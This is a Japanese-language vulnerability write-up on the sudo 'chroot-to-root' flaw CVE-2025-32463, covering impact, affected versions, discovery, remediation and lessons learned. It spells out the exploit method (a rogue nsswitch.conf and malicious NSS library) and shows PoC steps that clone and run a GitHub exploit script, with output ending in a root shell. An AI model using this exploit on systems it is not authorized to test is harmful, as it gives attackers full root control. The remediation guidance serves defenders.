⚠️ 概要

CVE-2025-32463（別名「chroot-to-root」）は、sudoにおける深刻なローカル権限昇格脆弱性です。

sudoersに記載されていないユーザーを含む、任意のローカルの非特権ユーザーが、-R / --chroot オプションを使用するだけで完全なrootアクセスを取得できます。

この欠陥はsudo 1.9.14（2023年6月）で導入され、1.9.17p1（2025年6月）まで存在していました。これは従来のバグではなく、sudoがポリシーチェックの前にユーザーが制御するchroot内のパス解決をどのように処理するかに起因する危険な副作用でした。

公式Sudoアドバイザリ: 「攻撃者はsudoの-Rオプションを利用して、sudoersファイルに記載されていなくても、任意のコマンドをrootとして実行できます。」

🔥 深刻度と影響

• CVSS v3.1基本スコア: 9.3 / クリティカル
• 攻撃ベクトル: ローカル（認証不要、ネットワーク不要）
• 必要な権限: なし（任意のローカルアカウント）
• 影響: 完全なrootアクセス、rootとしての任意のコード実行

現実確認:

• 公開後すぐにエクスプロイトとPoCが登場。
• 2025年9月29日に**CISA既知の悪用された脆弱性（KEV）**カタログに追加。
• 影響を受けるsudoバージョンを実行している事実上すべてのLinuxディストリビューションとmacOSシステムに影響。
• 他の攻撃と連鎖してシステム全体を乗っ取られる可能性があった。

🕵️ 発見者: Rich Mirch

• Rich Mirch — **Stratascale Cybersecurity Research Unit (CRU)**の主任セキュリティ研究者。
• 2025年4月1日にsudoメンテナのTodd C. Millerに非公開で報告。
• CVEは2025年4月8日に割り当て。
• 2025年6月30日の開示と同時に公開分析と完全なPoCをリリース。
• 関連するCVE-2025-32462についてもクレジット。

🔬 技術的な深掘り

このバグは、sudoのコマンドマッチングロジックにおける2023年の変更に由来します:

1. -R /path が使用されると、sudoはsudoersポリシーを完全に評価する前に pivot_root() を呼び出します。
2. NSS（ネームサービススイッチ）ルックアップ（ユーザー/グループ/PAM用）は、chroot内から /etc/nsswitch.conf を読み取ります。
3. 攻撃者は、以下のような偽のchrootディレクトリを作成します:
   • 悪意のある /etc/nsswitch.conf（例: passwd: /woot1337）
   • rootとして実行されるコンストラクタを含む不正な共有ライブラリ libnss_/woot1337.so.2
4. NSSが攻撃者のライブラリをroot権限でロード → 即座にrootシェルを取得。

重要な洞察: -R オプションは、sudo権限のないユーザーでも許可されていたため、完璧な攻撃ベクトルとなりました。

📅 タイムライン

🖥️ 影響を受けるシステムとディストリビューション

sudo 1.9.14 から 1.9.17（1.9.17p1より前）のみ

広く影響を受ける:

• Ubuntu 24.04 (1.9.15p5, 1.9.16p2)
• Fedora 40/41/42
• Debian 12/13 (testing)
• RHEL 9/10, AlmaLinux, Rocky Linux
• Arch Linux, openSUSE Tumbleweed
• macOS（Homebrew / MacPorts sudo）
• 2023年半ばから2025年半ばまでのほぼすべてのコンテナイメージ

影響を受けない:

• sudo ≤ 1.9.13（脆弱なchrootロジックがない）
• sudo ≥ 1.9.17p1
• chroot機能が有効化されていないシステム

💥 公開エクスプロイトとPoC

ワンライナーエクスプロイト（Stratascale CRU提供）:

# 1 – リポジトリをクローン
$ git clone https://github.com/zaryouhashraf/CVE-2025-32463
$ cd CVE-2025-32463

# 2 – Dockerイメージをビルドして実行（タグは "sudo-chwoot"）
$ sudo chmod +x CVE-2025-32463.sh
$ ./CVE-2025-32463.sh

# 3 – コンテナ内でエクスプロイトを実行（直接rootコマンドを実行するか、rootシェルに落ちる）
┌──(kali㉿kali)-[~]
└─$ ./CVE-2025-32463.sh
═══════════════════════════════════════════════════════════════
⚠  警告: CVE-2025-32463 EXPLOIT PoC ⚠
═══════════════════════════════════════════════════════════════
このスクリプトは、所有するシステムでの許可されたテストのみを対象としています。
許可されていないシステムでの実行は違法です。
テスト後すぐにパッチを適用してください（sudo 1.9.17p1+）。

[+] 一時的なエクスプロイトステージを作成中...
[+] 悪意のあるNSSライブラリをコンパイル中...
[+] sudo -R をトリガー中...（rootシェルを期待）
   （成功すると、root bashプロンプトに落ちます）


[!] CVE-2025-32463 トリガー - rootを取得中...
[+] あなたは現在rootです！
┌──(root㉿kali)-[/]
└─# whoami
root

🛡️ 確認と修復方法（2026年版）

1. バージョンを確認

sudo -V | head -n 1

✅ 1.9.17p1 以降（または ≤ 1.9.13）なら安全

2. 即座にアップデート

Debian/Ubuntu:

sudo apt update && sudo apt install --reinstall sudo

Fedora/RHEL:

sudo dnf update sudo

Arch:

sudo pacman -S sudo

3. 強化策（パッチ適用後も）

/etc/sudoers（または /etc/sudoers.d/ 内のファイル）に以下を追加:

Defaults !use_chroot

CHROOT= または runchroot= 行がないか確認して削除。

2026年のプロヒント: 古いDockerイメージ、CIランナー、レガシーVMをスキャンしてください。まだ脆弱なsudoスナップショットを出荷しているものが多くあります。

📈 インシデント後の進展（2025–2026）

• chroot機能は公式に非推奨となり、将来のsudoリリースで削除予定。
• 主要ディストリビューションは数日以内にパッチをバックポート。
• CISA KEVリストにより、米国連邦システムでの修復が必須に。
• sudoのNSS統合とポリシー前のパス解決に対する監視が強化。

🎓 学んだ教訓

• 特権チェックの前にユーザー制御のパスを信頼してはいけない。
• 高度な使用目的の機能（--chroot）は、分離されていないと攻撃対象になり得る。
• 2023年の1行の変更が、2年後に発見される重大な脆弱性を生んだ。
• 公開PoC + KEVリスト = 急速な広範な悪用リスク。

このインシデントは、コアシステムツールにおいても最小権限の原則の必要性を再確認させた。

🔗 参考文献と詳細

• NVD公式エントリ
• Sudo公式アドバイザリ
• Stratascale完全分析 + PoC
• Oligo Securityブログ（CVE-2025-32462の文脈を含む）
• CISA KEVカタログエントリ
• Red Hatアドバイザリ
• GitHub PoC